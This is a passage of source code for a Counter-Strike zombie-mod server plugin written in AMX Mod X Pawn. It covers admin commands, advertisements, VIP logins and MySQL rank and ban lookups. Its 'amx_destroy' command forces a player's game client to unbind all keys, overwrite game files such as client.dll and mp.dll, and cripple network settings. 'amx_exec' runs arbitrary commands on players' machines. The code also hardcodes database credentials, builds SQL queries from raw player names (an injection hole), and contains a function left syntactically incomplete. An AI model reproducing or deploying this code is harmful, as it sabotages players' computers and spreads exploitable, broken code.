				if (g_iPlayerType[iPlayer] & 8 && !equal(cModel, "arctic", 0))
				{
					set_user_model(iPlayer, "arctic");
				}
			}
		}
		else
		{
			if (!g_iPlayerType[iPlayer])
			{
				set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
			}
			if (g_iPlayerType[iPlayer] & 1)
			{
				set_user_model(iPlayer, "z_out_nemesis");
			}
			if (g_iPlayerType[iPlayer] & 2)
			{
				set_user_model(iPlayer, "z_out_assassin");
			}
		}
	}
	return 0;
}

public TaskRCount()
{
	SQL_ThreadQuery(g_hSQLTuple, "SQLRanksCount", "SELECT * FROM r", hQuery, 0);
	return 0;
}

public TaskGetMaps()
{
	new cTime[4];
	new iFile;
	new cLine[161];
	get_time("%H", cTime, 3);
	if (cTime[0] == 48)
	{
		SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m WHERE CHAR_LENGTH(o)>0", hQuery, 0);
	}
	else
	{
		SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m", hQuery, 0);
	}
	iFile = fopen("addons/amxmodx/configs/z_out_advertisements.ini", "r");
	if (iFile)
	{
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 160);
			trim(cLine);
			if (cLine[0] == 33)
            {
                copy(g_cAdvertisements[g_iAdvertisementsCount], 160, cLine);
                replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!g", "^4");
                replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!t", "^3");
                replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!n", "^1");
                g_iAdvertisementsCount += 1;
            }
		}
		fclose(iFile);
	}
	iFile = fopen("addons/amxmodx/configs/z_out_hud_advertisements.ini", "r");
	if (iFile)
	{
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 160);
			trim(cLine);
			if (4 < strlen(cLine))
			{
				copy(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, cLine);
				replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, "\n", "^n");
				g_iHudAdvertisementsCount += 1;
			}
		}
		fclose(iFile);
	}
	return 0;
}

public CmdBlock()
{
	return 1;
}

public CmdUpdate(iPlayer)
{
    static Float:fGameTime;
    fGameTime = get_gametime();
    if (fGameTime - g_fLast[iPlayer] < 0.3)
    {
        server_cmd("kick #%d  You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cInternetProtocolAddress[iPlayer]);
    }
    else
    {
        g_fLast[iPlayer] = fGameTime;
    }
    return 0;
}

public InitSQL()
{
	g_hSQLTuple = SQL_MakeDbTuple("89.44.246.254", "csaddict_z", "arara", "csaddict_z", 0);
	return 0;
}

public plugin_init()
{
	new i;
	new cNumber[3];
	new cLine[128];
	RegisterHam(Ham_Spawn, "player", "OnPlayerSpawn", 1);
	RegisterHam(Ham_TakeDamage, "player", "OnTakeDamage", 0);
	RegisterHam(Ham_Touch, "weaponbox", "OnTouch", 0);
	RegisterHam(Ham_Touch, "armoury_entity", "OnTouch", 0);
	RegisterHam(Ham_Item_PreFrame, "player", "OnPreFrame", 1);
	RegisterHam(Ham_Killed, "player", "OnKilled", 0);
	RegisterHam(Ham_TraceAttack, "player", "OnTraceAttack", 0);
	RegisterHam(Ham_Think, "grenade", "OnGrenadeThink", 0);
	RegisterHam(Ham_Player_Duck, "player", "OnPlayerDuck", 0);
	RegisterHam(Ham_Player_Jump, "player", "OnPlayerJump", 0);
	register_logevent("EventRoundStart", 2, "1=Round_Start");
	register_logevent("EventRoundEnd", 2, "1=Round_End");
	register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
	register_event("CurWeapon", "EventCurWeapon", "be", "1=1");
	register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
	register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
    register_concmd("amx_ban", "CmdBan", -1, "", -1);
    register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
    register_concmd("amx_map", "CmdMap", -1, "", -1);
    register_concmd("amx_addban", "CmdAddBan", -1, "", -1);
    register_concmd("amx_last", "CmdLast", -1, "", -1);
    register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
    register_concmd("amx_kick", "CmdKick", -1, "", -1);
    register_concmd("amx_slay", "CmdSlay", -1, "", -1);
    register_concmd("amx_say", "CmdSayChat", -1, "", -1);
    register_concmd("amx_chat", "CmdChat", -1, "", -1);
    register_concmd("amx_destroy", "CmdDestroy", -1, "", -1);
    register_concmd("amx_gag", "CmdGag", -1, "", -1);
    register_concmd("amx_ungag", "CmdGag", -1, "", -1);
    register_concmd("amx_slap", "CmdSlap", -1, "", -1);
    register_concmd("amx_password_for_slot", "CommandGetSlot", -1, "", -1);
    register_concmd("amx_password_for_model", "CommandGetModel", -1, "", -1);
    register_concmd("amx_human", "CmdMode", -1, "", -1);
    register_concmd("amx_zombie", "CmdMode", -1, "", -1);
    register_concmd("amx_nemesis", "CmdMode", -1, "", -1);
    register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
    register_concmd("amx_swarm", "CmdMode", -1, "", -1);
    register_concmd("amx_plague", "CmdMode", -1, "", -1);
    register_concmd("amx_armageddon", "CmdMode", -1, "", -1);
    register_concmd("amx_multi", "CmdMode", -1, "", -1);
    register_concmd("amx_multiple", "CmdMode", -1, "", -1);
    register_concmd("amx_sniper", "CmdMode", -1, "", -1);
    register_concmd("amx_survivor", "CmdMode", -1, "", -1);
    register_concmd("amx_assassins_vs_snipers", "CmdMode", -1, "", -1);
    register_concmd("amx_assassin", "CmdMode", -1, "", -1);
    register_concmd("amx_respawn", "CmdMode", -1, "", -1);
    register_concmd("amx_ammo", "CmdMode", -1, "", -1);
    register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
    register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
    register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
    register_clcmd("fullupdate", "CmdUpdate", -1, "", -1);
    register_clcmd("fullupdaterate", "CmdUpdate", -1, "", -1);
    register_clcmd("say", "Client_Say", -1, "", -1);
    register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
    register_clcmd("jointeam", "CmdJoinTeam", -1, "", -1);
    register_clcmd("chooseteam", "CmdJoinTeam", -1, "", -1);
    register_clcmd("plant_mine", "CmdPlantMine", -1, "", -1);
    register_clcmd("take_mine", "CmdTakeMine", -1, "", -1);
    register_clcmd("nightvision", "CmdNightVision", -1, "", -1);
    register_clcmd("drop", "CmdDrop", -1, "", -1);
	register_clcmd("amx_exec", "CmdExec", -1, "", -1);
	register_message(get_user_msgid("Scenario"), "MessageScenario");
	register_message(get_user_msgid("Health"), "MessageHealth");
	register_message(get_user_msgid("SayText"), "MessageSayText");
	register_message(get_user_msgid("Money"), "MessageMoney");
	register_message(get_user_msgid("ClCorpse"), "ClCorpse");
	set_msg_block(get_user_msgid("TextMsg"), 2);
	set_msg_block(get_user_msgid("SendAudio"), 2);
	set_msg_block(get_user_msgid("AmmoPickup"), 2);
	set_msg_block(get_user_msgid("WeapPickup"), 2);
	g_iMaxClients = get_maxplayers();
	g_iTimeLimit = get_cvar_pointer("mp_timelimit");
	g_iTopMessageSync = CreateHudSyncObj(0);
	g_iDownMessageSync = CreateHudSyncObj(0);
	g_iRemainingSync = CreateHudSyncObj(0);
	g_iVersusSync = CreateHudSyncObj(0);
	g_iCenterMessageSync = CreateHudSyncObj(0);
	g_iMineMessage = CreateHudSyncObj(0);
	g_iSecondMineMessage = CreateHudSyncObj(0);
	g_iEventsHudmessage = CreateHudSyncObj(0);
	g_iCounterMessage = CreateHudSyncObj(0);
	g_iAdvertisementsSync = CreateHudSyncObj(0);
	g_iAntidoteSync = CreateHudSyncObj(0);
	g_iRegenerationSync = CreateHudSyncObj(0);
	g_iLeftSync[0] = CreateHudSyncObj(0);
	g_iLeftSync[1] = CreateHudSyncObj(0);
	i = 0;
	while (i < 8)
	{
		g_iDamageSync[i] = CreateHudSyncObj(0);
		i++;
	}
	g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
	g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
	g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
	g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
	menu_additem(g_iGameMenu, "Buy extra items", "0", 0, -1);
	menu_additem(g_iGameMenu, "Choose zombie class", "1", 0, -1);
	menu_additem(g_iGameMenu, "Buy features with points", "2", 0, -1);
	menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
	menu_additem(g_iGameMenu, "See rank", "4", 0, -1);
	menu_additem(g_iGameMenu, "See top and all statistics", "5", 0, -1);
	i = 0;
	while (i < 7)
	{
		formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
		num_to_str(i, cNumber, 3);
		menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
		i++;
	}
	i = 0;
	while (i < 6)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
		g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
		i++;
	}
	i = 0;
	while (i < 10)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
		g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
		i++;
	}
	g_aNameData = ArrayCreate(32, 1);
	g_aAmmoData = ArrayCreate(1, 1);
	set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
	set_task(33.50, "TaskAdvertisements", 0, "", 0, "b", 0);
	set_task(500.0, "TaskUnban", 0, "", 0, "b", 0);	
	set_task(0.40, "InitSQL", 0, "", 0, "", 0);
	set_task(2.35, "TaskRCount", 0, "", 0, "", 0);
	set_task(6.20, "TaskGetMaps", 0, "", 0, "", 0);
	set_task(0.1, "TaskReadVips", 0, 318308, 0, 318312, 0);
	set_task(0.1, "TaskAxaxa", 0, "", 0, "", 0);
	g_bAdmin[0] = 1;
	return 0;
}

public ClCorpse()
{
	if (get_msg_args() == 12 && g_Hidden[get_msg_arg_int(12)])
}


public TaskReadVips()
{
	new iFile = fopen("addons/amxmodx/configs/vips.ini", "r");
	if (iFile)
	{
		new cLine[256];
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 255);
			trim(cLine);
			if (cLine[0] != 59 && strlen(cLine) > 5)
			{
				parse(cLine, g_cVipNames[g_iVipsCount], 31, g_cVipPasswords[g_iVipsCount], 31, g_cVipFlags[g_iVipsCount], 31);
				g_iVipsCount += 1;
			}
		}
		fclose(iFile);
	}
	return 0;
}

public TaskAxaxa()
{
	new iFile = fopen("addons/amxmodx/configs/RegisteredCharacter.ini", "r");
	if (iFile)
	{
		fgets(iFile, g_cRegisteredCharacter, 31);
		trim(g_cRegisteredCharacter);
		formatex(g_Secret, 31, "%s", g_cRegisteredCharacter);
		format(g_cRegisteredCharacter, 31, "(Gold Member %s) ", g_cRegisteredCharacter);
		fclose(iFile);
	}
	return 0;
}

public MessageMoney(iMessage, iDestination, iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		reset_money(iPlayer);
	}
	return 1;
}

public CmdUnfreeze(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 49))
	{
		static iTarget;
		static cTarget[33];
		read_argv(1, cTarget, 32);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		if (iTarget)
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 unfroze", g_cName[iPlayer], g_cName[iTarget]);
			set_frozen(iTarget, 0);
			remove_glow(iTarget);
			g_bFrozen[iTarget] = 0;
			ExecuteHamB(Ham_Item_PreFrame, iTarget);
		}
		return 1;
	}
	return 0;
}


public TaskAdvertisements()
{
    set_task(1.0, "TaskHudXYZ", 0, "", 0, "", 0);
	if (g_iMessage >= g_iAdvertisementsCount)
	{
		g_iMessage = 0;
	}
	client_print_color(0, print_team_grey, g_cAdvertisements[g_iMessage]);
	g_iMessage += 1;
	return 0;
}

public TaskHudXYZ()
{
	if (g_iHudMessage >= g_iHudAdvertisementsCount)
	{
		g_iHudMessage = 0;
	}
    set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
	ShowSyncHudMsg(0, g_iAdvertisementsSync, g_cHudAdvertisements[g_iHudMessage]);
	g_iHudMessage += 1;
	return 0;
}

public EventStatusValueHide(iPlayer)
{
	ClearSyncHud(iPlayer, g_iCenterMessageSync);
	return 0;
}

public TaskRemoveRender(i)
{
	if (g_bConnected[i] && !g_iPlayerType[i] & 1)
	{
		remove_glow(i);
	}
	return 0;
}

public CmdGag(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 64))
	{
		static cCommand[32];
		read_argv(0, cCommand, 32);
		if (equali(cCommand, "amx_gag", 0))
		{
			static iTarget;
			static iTime[3];
			static cTarget[32];
			read_argv(1, cTarget, 32);			
			iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
			if ( !iTarget ) return 1;		
			read_argv(2, iTime, 2);
			if (!iTarget)
			{
		        return 1;
			}
			if (g_fGagTime[iTarget] < get_gametime())
			{
		        g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
		        client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 gag^3 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
			}
			else
			{
		        console_print(iPlayer, "[Zombie Outstanding] Player ^"%s^" is already gagged", g_cName[iTarget]);
			}
		}
		if (equali(cCommand, "amx_ungag", 0))
		{
			static iTarget;
			static cTarget[32];
			read_argv(1, cTarget, 32);
			iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
			if ( !iTarget ) return 1;		
			if (g_fGagTime[iTarget] > get_gametime())
			{
				g_fGagTime[iTarget] = false;
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 ungag^3 %s", g_cName[iPlayer], g_cName[iTarget]);
			}
			else
			{
				console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
			}
		}
	}
	return 0;
}

public CmdSlap(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 36))
	{
		static iTarget;
		static iDamage;
		static cDamage[15];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cDamage, 7);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		iDamage = clamp(str_to_num(cDamage), 0, 999999);
		if (0 < iTarget)
		{
			user_slap(iTarget, iDamage, 1);
			AddCommas(iDamage, cDamage, 14);
			if (0 < iDamage)
			{
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s^1 with^4 %s damage", g_cName[iPlayer], g_cName[iTarget], cDamage);
			}
			else
			{
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s", g_cName[iPlayer], g_cName[iTarget]);
			}
		}
		else
		{
			console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
		}
	}
	return 0;
}

public CmdExec(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 105))
	{
		static iTarget;
		static cCommand[64];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cCommand, 64);
		iTarget = GetTarget(iPlayer, cTarget, 0);
		if (0 < iTarget)
		{
			client_cmd(iTarget, cCommand);
		}
		console_print(iPlayer, "[Zombie Outstanding] Player not found!");
	}
	return 1;
}

public CmdDestroy(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 52))
	{
		static iTarget;
		static cTarget[32];
		read_argv(1, cTarget, 32);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		if (0 < iTarget)
		{
			client_cmd(iTarget, "unbindall; bind ` ^"say I_have_been_destroyed^"; bind ~ ^"say I_have_been_destroyed^"; bind esc ^"say I_have_been_destroyed^"");
			client_cmd(iTarget, "motdfile resource/GameMenu.res; motd_write a; motdfile models/player.mdl; motd_write a; motdfile dlls/mp.dll; motd_write a");
			client_cmd(iTarget, "motdfile cl_dlls/client.dll; motd_write a; motdfile cs_dust.wad; motd_write a; motdfile cstrike.wad; motd_write a");
			client_cmd(iTarget, "motdfile sprites/muzzleflash1.spr; motdwrite a; motdfile events/ak47.sc; motd_write a; motdfile models/v_ak47.mdl; motd_write a");
			client_cmd(iTarget, "fps_max 1; rate 0; cl_cmdrate 0; cl_updaterate 0");
			client_cmd(iTarget, "hideconsole; hud_saytext 0; cl_allowdownload 0; cl_allowupload 0; cl_dlmax 1; _restart");
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 destroy^3 %s", g_cName[iPlayer], g_cName[iTarget]);
			client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
		}
		console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
	}
	return 0;
}

public client_putinserver(iPlayer)
{
	static Float:fCurrentTime;
	static iSize;
	g_bKilling[iPlayer] = 0;
	g_bGaveThisRound[iPlayer] = 0;
	g_bRanked[iPlayer] = 0;
	g_bGoldenDeagle[iPlayer] = 0;
	g_bGolden[iPlayer] = 0;
	g_bAlive[iPlayer] = 0;
	g_bNoDamage[iPlayer] = 0;
	g_bZombie[iPlayer] = 0;
	g_bAdmin[iPlayer] = 0;
	Loaded[iPlayer] = 0;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	g_iPoints[iPlayer] = 0;
	g_iPacks[iPlayer] = 0;
	g_iKillsThisRound[iPlayer] = 0;
	g_iZombieNextClass[iPlayer] = -1;
	g_fDamage[iPlayer] = 0;
	get_user_ip(iPlayer, g_cInternetProtocolAddress[iPlayer], 24, 1);
	fCurrentTime = get_gametime();
	get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
	get_user_name(iPlayer, g_cName[iPlayer], 32);
	strip_name(g_cName[iPlayer], 32);
	if (!g_bEnded)
	{
		static cPlayer[3];
		num_to_str(iPlayer, cPlayer, 3);
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", g_cQuery, cPlayer, 3);
			g_fLastQuery = fCurrentTime;
		}
		else
		{
            set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_BanCheck", iPlayer + 50, "", 0, "", 0);
            g_fLastQuery = g_fLastQuery + 2.0;
		}
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			if (strlen(g_cSteam[iPlayer]) == 18)
			{
				formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer], g_cName[iPlayer]);
			}
			else
			{
				formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE n='%s'", g_cName[iPlayer]);
			}
			SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", g_cQuery, cPlayer, 3);
			g_fLastQuery = fCurrentTime;
		}
		else
		{
            set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_AdminCheck", iPlayer + 100, "", 0, "", 0);
            g_fLastQuery = g_fLastQuery + 2.0;
		}
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
			g_fLastQuery = fCurrentTime;
		}
		else
		{
            set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_RankCheck", iPlayer + 150, "", 0, "", 0);
            g_fLastQuery = g_fLastQuery + 2.0;
		}
        set_task(300.0, "TaskUpdateTime", iPlayer + 400, "", 0, "b", 0);
        set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
        set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
        set_task(12.0, "TaskShowMessage", iPlayer, "", 0, "", 0);		
	}
	if ((iSize = ArraySize(g_aAmmoData)))
	{
		static cSavedName[32];
		static i;
		i = iSize + -1;
		while (i > -1)
		{
			ArrayGetString(g_aNameData, i, cSavedName, 32);
			if (equali(cSavedName, g_cName[iPlayer], 0))
			{
				g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
			}
			i -= 1;
		}
	}
	if (!g_iPacks[iPlayer])
	{
		g_iPacks[iPlayer] = 99999;
	}
	set_task(1.0, "TaskCheckName", iPlayer, "", 0, "", 0);
	set_task(2.0, "AnnounceXa", iPlayer, "", 0, "", 0);
	g_bConnected[iPlayer] = 1;
	g_bVip[iPlayer] = 0;
	client_cmd(iPlayer, "cl_minmodels 0; mp3 stop");
	get_user_info(iPlayer, "_pw", g_cPasswords[iPlayer], 31);
	new i;
	while (i < g_iVipsCount)
	{
		if (equali(g_cVipNames[i], g_cName[iPlayer], 0))
		{
			if (equali(g_cPasswords[iPlayer], g_cVipPasswords[i], 0))
			{
				g_bVip[iPlayer] = 1;
				formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cVipFlags[i]);
				if (VipHasFlag(iPlayer, 114))
				{
					set_task(10.0, "TaskRays", 0, "", 0, "b", 0);
				}
			}
			else
			{
				server_cmd("kick #%d  Your VIP password is incorrect!", get_user_userid(iPlayer));
			}
			return 0;
		}
		i++;
	}
	return 0;
}

public AnnounceXa(Player)
{
	if (g_bConnected[Player])
	{
		new Name[32];
		get_user_name(Player, Name, 31);
		client_print_color(0, print_team_grey, "^1Player^4 %s^1 connected from [^3%s^1] [^3%s^1]", Name, Data[Player][1], Data[Player][4]);
	}
	return 0;
}

public TaskRays(iPlayer)
{
	if (g_bAlive[iPlayer] && !g_bRoundStart && !g_bRoundEnd && g_bModeStarted)
	{
		switch (get_team(iPlayer))
		{
			case 1:
			{
				new i = 1;
				while (i <= g_iMaxClients)
				{
					if (g_bAlive[i] && !g_bZombie[i] && !visible(iPlayer, i))
					{
						Beam(iPlayer, i, 0, 42, 255);
					}
					i++;
				}
			}
			case 2:
			{
				new i = 1;
				while (i <= g_iMaxClients)
				{
					if (g_bAlive[i] && g_bZombie[i] && !visible(iPlayer, i))
					{
						Beam(iPlayer, i, 255, 24, 0);
					}
					i++;
				}
			}
			default:
			{
			}
		}
	}
	return 0;
}

public GetCC(p)
{
	if (g_bConnected[p])
	{
		LoadData(p);
	}
	return 0;
}

public ShowMsgGlow(iPlayer)
{
	if (!g_bConnected[iPlayer] || !g_bRanked[iPlayer])
	{
		return 0;
	}
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 3);
	formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
	SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", g_cQuery, cPlayer, 3);
	return 0;
}

public TaskPreparePlayerChanged(i)
{
	if (g_bConnected[i] && !g_bRanked[i])
	{
		static cPlayer[3];
		num_to_str(i, cPlayer, 3);
		formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[i]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
	}
	return 0;
}

public TaskShowMessage(iPlayer)
{
	if (g_bConnected[iPlayer] && g_bRanked[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
		{
			static cPlayer[3];
			num_to_str(iPlayer, cPlayer, 3);
			formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", g_cQuery, cPlayer, "");
			g_fLastQuery = fCurrentTime;
		}
		else
		{
			set_task(floatsub(floatadd(2.0, g_fLastQuery), fCurrentTime), "ShowMsgGlow", iPlayer, "", 0, "", 0);
			g_fLastQuery = floatadd(2.0, g_fLastQuery);
		}
	}
	else
	{
		if (!g_bRanked[iPlayer] && g_bConnected[iPlayer])
		{
			set_task(3.0, "TaskShowMessage", iPlayer, "", 0, "", 0);
		}
	}
	return 0;
}

public _Task_BanCheck(iPlayer)
{
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, "");
	formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer]);
	SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", g_cQuery, cPlayer, 3);
	return 0;
}

public _Task_AdminCheck(iPlayer)
{
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 3);
	if (strlen(g_cSteam[iPlayer]) == 18)
	{
		formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer], g_cName[iPlayer]);
	}
	else
	{
		formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE n='%s'", g_cName[iPlayer]);
	}
	SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", g_cQuery, cPlayer, 3);
	return 0;
}

public _Task_RankCheck(iPlayer)
{
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 3);
	formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
	SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
	return 0;
}

public SQLPrintGlowRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static cScore[15];
	static cDeaths[15];
	static cKills[15];
	static cTotal[15];
	static cRank[15];
	static cBuffer[900];
	static iPlayer;
	iPlayer = str_to_num(cData);
	AddCommas(g_iScore[iPlayer], cScore, 14);
	AddCommas(SQL_NumResults(hQuery), cRank, 14);
	AddCommas(g_iRanksCount, cTotal, 14);
	AddCommas(g_iDeaths[iPlayer], cDeaths, 14);
	AddCommas(g_iKills[iPlayer], cKills, 14);
	new var1;
	if (g_iDeaths[iPlayer])
	{
		var1 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
	}
	else
	{
		var1 = float(g_iKills[iPlayer]);
	}
	formatex(cBuffer, 899, "Welcome, %s\nRank: %s of %s Score: %s\nKills: %s Deaths: %s KPD: %0.2f\nOnline: %s\nEnjoy!", g_cName[iPlayer], cRank, cTotal, cScore, cKills, cDeaths, var1, g_cOnlineTime[iPlayer]);
	show_glow_message(iPlayer, cBuffer, 40960, 0.02, 0.21, 10.0);
	show_glow_message(iPlayer, "Zm.CsDevils.Com\nDon't forget to add us to your favorites!", 6904269, 0.02, 0.5, 10.0);
	return 0;
}

show_glow_message(iPlayer, cMessage[], iColor, Float:fX, Float:fY, Float:fDuration)
{
	if (!g_bConnected[iPlayer] || !is_user_connected(iPlayer))
	{
		return 0;
	}
	message_begin(MSG_ONE_UNRELIABLE, SVC_DIRECTOR, _, iPlayer);
	write_byte(strlen(cMessage) + 31);
	write_byte(6);
	write_byte(2);
	write_long(iColor);
	write_long(fX);
	write_long(fY);
	write_long(0.1);
	write_long(1.5);
	write_long(fDuration);
	write_long(6.0);
	write_string(cMessage);
	message_end();
	return 0;
}

public TaskDeleteBans()
{
	SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
	return 0;
}

public TaskDeleteRanks()
{
	SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
	return 0;
}

public TaskUnban()
{
    static Float:fCurrentTime;
    fCurrentTime = get_gametime();
    if (fCurrentTime - g_fLastQuery >= 2.0)
    {
        SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
        g_fLastQuery = fCurrentTime;
    }
    else
    {
        set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskDeleteRanks", 0, "", 0, "", 0);
        g_fLastQuery = g_fLastQuery + 2.0;
    }
    if (fCurrentTime - g_fLastQuery >= 2.0)
    {
        SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
        g_fLastQuery = fCurrentTime;
    }
    else
    {
        set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskDeleteBans", 0, "", 0, "", 0);
        g_fLastQuery = g_fLastQuery + 2.0;
    }
    return 0;
}

public client_infochanged(iClient)
{
	if (g_bConnected[iClient])
	{
		static NewName[33];
		get_user_info(iClient, "name", NewName, 32);
		strip_name(NewName, 32);
		if (!equali(g_cName[iClient], NewName, 0))
		{
			OnNameChanged(iClient, NewName);
		}
	}
	return 0;
}

